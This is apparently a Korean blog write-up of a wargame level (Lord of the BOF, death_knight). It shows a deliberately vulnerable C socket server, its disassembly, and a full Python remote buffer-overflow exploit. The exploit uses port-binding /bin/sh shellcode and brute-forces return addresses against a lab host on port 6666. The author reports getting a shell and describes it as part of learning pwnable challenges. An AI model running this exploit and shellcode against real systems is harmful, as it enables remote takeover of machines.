본문 바로가기

워게임/lord of bof

level 19 -> 20


[xavius@localhost xavius]$ cat death_knight.c 

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark knight

        - remote BOF

*/


#include <stdio.h> 

#include <stdlib.h> 

#include <errno.h> 

#include <string.h> 

#include <sys/types.h> 

#include <netinet/in.h> 

#include <sys/socket.h> 

#include <sys/wait.h> 

#include <dumpcode.h>


main()

{

char buffer[40];


int server_fd, client_fd;  

struct sockaddr_in server_addr;   

struct sockaddr_in client_addr; 

int sin_size;


if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){

perror("socket");

exit(1);

}


server_addr.sin_family = AF_INET;        

server_addr.sin_port = htons(6666);   

server_addr.sin_addr.s_addr = INADDR_ANY; 

bzero(&(server_addr.sin_zero), 8);   


if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){

perror("bind");

exit(1);

}


if(listen(server_fd, 10) == -1){

perror("listen");

exit(1);

}

        

while(1) {  

sin_size = sizeof(struct sockaddr_in);

if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){

perror("accept");

continue;

}

            

if (!fork()){ 

send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

send(client_fd, "You : ", 6, 0);

recv(client_fd, buffer, 256, 0);

close(client_fd);

break;

}

            

close(client_fd);  

while(waitpid(-1,NULL,WNOHANG) > 0);

}

close(server_fd);

} 

외부에서 6666포트로 소켓 연결을 해야하네요


0x80489f9 <main+309>: mov    %eax,DWORD PTR [%ebp-48]

0x80489fc <main+312>: push   %eax

0x80489fd <main+313>: call   0x80485ec <send>

0x8048a02 <main+318>: add    %esp,16

0x8048a05 <main+321>: push   0

0x8048a07 <main+323>: push   0x100

0x8048a0c <main+328>: lea    %eax,[%ebp-40]

0x8048a0f <main+331>: push   %eax

0x8048a10 <main+332>: mov    %eax,DWORD PTR [%ebp-48]

0x8048a13 <main+335>: push   %eax

0x8048a14 <main+336>: call   0x804860c <recv>


인자와 비교하여 buffer는 ebp-40에 저장된다는 것을 알 수 있습니다.

음..일단 버퍼 주소를 대략적으로나마 파악하기 위해 포트를 7777로 바꿔서 다시 컴파일 시킨 후, 백그라운드로 돌린 다음 연결해보죠


그 다음에 프로세스 어태치를 통해 디버깅을 해보도록 하겠습니다.


[xavius@localhost test]$ ./test_knight &

[2] 887

[xavius@localhost test]$ ps -ef | grep test_knight

xavius     887   678  0 20:00 pts/0    00:00:00 ./test_knight


..는 잘 안되서 그냥 브루트포싱 하기로 했습니다..ㅠㅠ


브포에 사용할 쉘 코드는 포트 바인딩 쉘코드 찾다가 http://inhack.org/wordpress/?p=2502에서 얻었습니다!


from socket import *

import time


#[buffer 40 byte] + [sfp 4byte] + [ret 4 byte(&shellcode+nop)] + [shellcode+nop]


shellcode =  "\x90"*60

shellcode += "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80"

shellcode += "\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80"

shellcode += "\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80"

shellcode += "\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80"

shellcode += "\x93\x6a\x02\x59\xb0\x3f\xcd\x80"

shellcode += "\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"


for i in range(0xff, 0x00, -1):

for j in range(0x01, 0xff, 0x10):

s = socket(AF_INET, SOCK_STREAM)

s.connect(('192.168.211.146', 6666))

payload = "A"*44 + chr(j)+chr(i)+"\xff\xbf"+shellcode

print payload.encode("hex")

s.recv(1024)

s.recv(1024)

s.send(payload)

s.close()


처음에는 00부터 ff까지 i를 차례대로 주소 올리다가...거꾸로 하는게 더 빠를 것 같아서 늦게나마 바꿨습니다.



역시나 거꾸로하니 되게 빨리 쉘이 뜨더라구요; 그런데 약간 쉘이 이상했습니다; 명령어가 다 안먹히더라구요


 

몇번이고 쉘띄우면서 테스트 해보다가 왜인지 명령어를 두번 연속 입력해줘야 먹힌다는 사실을 깨달았고 ㅠㅠ;(일부 명령어는 안먹히더라구요)


 

생각보다 늦게 풀었습니다..으으 어쨌든 클리어 성공!!! 거의 일주일동안 이것만 했네요..18일부터;


이제 다른 워게임이나 대회문제도 조금씩 풀어봐야겠습니다 ㅠㅠ pwnable하고 친해지려면 아직 멀었지만.. 한걸음 나아간 기분이 드네요 ㅎㅎ


수고하셨습니다!

'워게임 > lord of bof' 카테고리의 다른 글

level 18 -> 19  (0) 2015.10.23
level 17 -> 18  (0) 2015.10.23
level 16 -> 17  (0) 2015.10.23
level 15 -> 16  (0) 2015.10.23
level 14 -> 15  (0) 2015.10.23